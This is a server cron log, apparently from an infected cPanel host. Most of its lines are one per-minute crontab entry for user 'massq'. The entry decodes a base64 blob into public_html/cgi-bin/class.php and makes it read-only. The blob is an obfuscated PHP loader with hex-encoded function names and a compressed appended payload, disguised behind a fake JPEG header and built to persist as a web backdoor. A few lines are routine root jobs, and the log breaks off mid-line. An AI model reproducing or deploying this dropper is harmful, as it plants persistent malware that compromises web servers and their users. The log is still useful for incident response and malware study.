Apr  8 22:53:01 server CROND[18392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:54:01 server CROND[18462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:55:01 server CROND[18536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:55:01 server CROND[18537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:55:01 server CROND[18538]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:56:01 server CROND[18746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:57:01 server CROND[18817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 22:57:01 server CROND[18818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:58:01 server CROND[18890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:59:01 server CROND[18971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:00:01 server CROND[19037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:00:01 server CROND[19038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:00:01 server CROND[19040]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 23:00:01 server CROND[19041]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:01:01 server CROND[19161]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 23:01:01 server CROND[19162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:01:01 server run-parts(/etc/cron.hourly)[19161]: starting 0anacron
Apr  8 23:01:01 server run-parts(/etc/cron.hourly)[19174]: finished 0anacron
Apr  8 23:02:01 server CROND[19233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:03:02 server CROND[19398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:04:01 server CROND[19460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:05:01 server CROND[19524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:05:01 server CROND[19525]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 23:05:01 server CROND[19526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:05:01 server CROND[19527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:05:01 server CROND[19532]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 23:06:01 server CROND[19648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg